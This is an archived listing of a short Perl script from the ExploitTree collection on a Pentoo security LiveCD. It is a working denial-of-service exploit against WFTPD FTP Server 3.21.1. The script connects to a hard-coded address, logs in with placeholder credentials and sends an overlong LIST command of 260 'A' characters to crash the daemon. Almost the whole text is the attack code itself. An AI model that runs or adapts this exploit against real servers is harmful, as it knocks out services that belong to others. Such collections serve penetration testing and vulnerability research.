home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wtfpd / WFTPD-GuiDoS.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  907 b   |  71 lines
  1. #!/usr/bin/perl
  2. # Multiple Vulnerabilities in WFTPD FTP Server version 3.21.1
  3. # Created by Beyond Security Ltd. - All rights reserved.
  4.  
  5. use IO::Socket;
  6.  
  7. $host = "192.168.1.243";
  8.  
  9. $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2119");
  10.  
  11. unless ($remote) { die "cannot connect to ftp daemon on $host" }
  12.  
  13. print "connected\n";
  14. while (<$remote>)
  15. {
  16.  print $_;
  17.  if (/220 /)
  18.  {
  19.   last;
  20.  }
  21. }
  22.  
  23.  
  24. $remote->autoflush(1);
  25.  
  26. my $ftp = "USER username\r\n";
  27.  
  28. print $remote $ftp;
  29. print $ftp;
  30. sleep(1);
  31.  
  32. while (<$remote>)
  33. {
  34.  print $_;
  35.  if (/331 /)
  36.  {
  37.   last;
  38.  }
  39. }
  40.  
  41. $ftp = join("", "PASS ", "password", "\r\n");
  42. print $remote $ftp;
  43. print $ftp;
  44. sleep(1);
  45.  
  46. while (<$remote>)
  47. {
  48.  print $_;
  49.  if (/230 /)
  50.  {
  51.   last;
  52.  }
  53. }
  54.  
  55. $ftp = join ("", "LIST ", "A"x260, "\r\n"); # DoS ...
  56.  
  57. print $remote $ftp;
  58. print $ftp;
  59. sleep(1);
  60.  
  61. while (<$remote>)
  62. {
  63.  print $_;
  64.  if (/250 Done/)
  65.  {
  66.   last;
  67.  }
  68. }
  69.  
  70. close $remote;
  71.